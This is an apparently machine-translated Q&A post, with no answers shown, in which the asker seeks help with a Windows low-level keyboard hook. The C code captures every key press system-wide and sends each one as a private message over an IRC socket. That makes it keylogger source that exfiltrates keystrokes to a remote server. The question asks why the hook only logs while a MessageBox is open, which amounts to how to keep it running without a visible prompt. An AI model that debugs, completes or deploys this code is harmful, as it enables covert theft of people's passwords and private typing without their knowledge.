0

我目前正在开发一个程序,并且正在使用钩子来读取被按下的键并遇到一个奇怪的问题。下面的代码是我正在使用的代码,我想知道,为什么 messageboxA() 语句似乎结束了日志,但删除该语句会使日志甚至不起作用。

LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
    PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);

    // If key is being pressed
    if (wParam == WM_KEYDOWN) {
        switch (p->vkCode) {

            // Invisible keys
            case VK_CAPITAL: IRC_Send(globSock, MSG_PRIVMSG, "<CAPLOCK>");  break;
            case VK_LCONTROL:   IRC_Send(globSock, MSG_PRIVMSG, "<LCTRL>"); break;
            case VK_RCONTROL:   IRC_Send(globSock, MSG_PRIVMSG, "<RCTRL>"); break;
            case VK_INSERT:     IRC_Send(globSock, MSG_PRIVMSG, "<INSERT>");    break;
            case VK_END:        IRC_Send(globSock, MSG_PRIVMSG, "<END>");   break;
            case VK_PRINT:      IRC_Send(globSock, MSG_PRIVMSG, "<PRINT>"); break;
            case VK_DELETE:     IRC_Send(globSock, MSG_PRIVMSG, "<DEL>");   break;
            case VK_BACK:       IRC_Send(globSock, MSG_PRIVMSG, "<BACKSPACE>"); break;

            case VK_SHIFT: IRC_Send(globSock, MSG_PRIVMSG, "<SHIFT>"); break;
            case VK_LEFT:       IRC_Send(globSock, MSG_PRIVMSG, "<LEFT>");  break;
            case VK_RIGHT:      IRC_Send(globSock, MSG_PRIVMSG, "<RIGHT>"); break;
            case VK_UP:         IRC_Send(globSock, MSG_PRIVMSG, "<UP>");    break;
            case VK_DOWN:       IRC_Send(globSock, MSG_PRIVMSG, "<DOWN>");  break;
            case 0x30: IRC_Send(globSock, MSG_PRIVMSG, "<0>"); break;   
            case 0x31: IRC_Send(globSock, MSG_PRIVMSG, "<1>"); break;
            case 0x32: IRC_Send(globSock, MSG_PRIVMSG, "<2>"); break;
            case 0x33: IRC_Send(globSock, MSG_PRIVMSG, "<3>"); break;
            case 0x34: IRC_Send(globSock, MSG_PRIVMSG, "<4>"); break;
            case 0x35: IRC_Send(globSock, MSG_PRIVMSG, "<5>"); break;
            case 0x36: IRC_Send(globSock, MSG_PRIVMSG, "<6>"); break;
            case 0x37: IRC_Send(globSock, MSG_PRIVMSG, "<7>"); break;
            case 0x38: IRC_Send(globSock, MSG_PRIVMSG, "<8>"); break;
            case 0x39: IRC_Send(globSock, MSG_PRIVMSG, "<9>"); break;
            case 0x41: IRC_Send(globSock, MSG_PRIVMSG, "<A>"); break;
            case 0x42: IRC_Send(globSock, MSG_PRIVMSG, "<B>"); break;
            case 0x43: IRC_Send(globSock, MSG_PRIVMSG, "<C>"); break;
            case 0x44: IRC_Send(globSock, MSG_PRIVMSG, "<D>"); break;
            case 0x45: IRC_Send(globSock, MSG_PRIVMSG, "<E>"); break;
            case 0x46: IRC_Send(globSock, MSG_PRIVMSG, "<F>"); break;
            case 0x47: IRC_Send(globSock, MSG_PRIVMSG, "<G>"); break;
            case 0x48: IRC_Send(globSock, MSG_PRIVMSG, "<H>"); break;
            case 0x49: IRC_Send(globSock, MSG_PRIVMSG, "<I>"); break;
            case 0x4A: IRC_Send(globSock, MSG_PRIVMSG, "<J>"); break;
            case 0x4B: IRC_Send(globSock, MSG_PRIVMSG, "<K>"); break;
            case 0x4C: IRC_Send(globSock, MSG_PRIVMSG, "<L>"); break;
            case 0x4D: IRC_Send(globSock, MSG_PRIVMSG, "<M>"); break;
            case 0x4E: IRC_Send(globSock, MSG_PRIVMSG, "<N>"); break;
            case 0x4F: IRC_Send(globSock, MSG_PRIVMSG, "<O>"); break;
            case 0x50: IRC_Send(globSock, MSG_PRIVMSG, "<P>"); break;
            case 0x51: IRC_Send(globSock, MSG_PRIVMSG, "<Q>"); break;
            case 0x52: IRC_Send(globSock, MSG_PRIVMSG, "<R>"); break;
            case 0x53: IRC_Send(globSock, MSG_PRIVMSG, "<S>"); break;
            case 0x54: IRC_Send(globSock, MSG_PRIVMSG, "<T>"); break;
            case 0x55: IRC_Send(globSock, MSG_PRIVMSG, "<U>"); break;
            case 0x56: IRC_Send(globSock, MSG_PRIVMSG, "<V>"); break;
            case 0x57: IRC_Send(globSock, MSG_PRIVMSG, "<W>"); break;
            case 0x58: IRC_Send(globSock, MSG_PRIVMSG, "<X>"); break;
            case 0x59: IRC_Send(globSock, MSG_PRIVMSG, "<Y>"); break;
            case 0x5A: IRC_Send(globSock, MSG_PRIVMSG, "<Z>"); break;

            // Visible keys
            //default:
            //  out << char(tolower(p->vkCode)); IRC_Send(globSock, MSG_PRIVMSG, char(tolower(p->vkCode))); break;
        }
    }

    return CallNextHookEx(NULL, nCode, wParam, lParam);
}

BOOL EstablishHook()
{   

    unsigned long start = GetTickCount();
    HINSTANCE hMyInstance = GetModuleHandle(NULL);

        HHOOK keyboardHook = SetWindowsHookEx(
        WH_KEYBOARD_LL,
        keyboardHookProc,
        hMyInstance,
        0);

    MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK);
        return true;

}
4

0 回答 0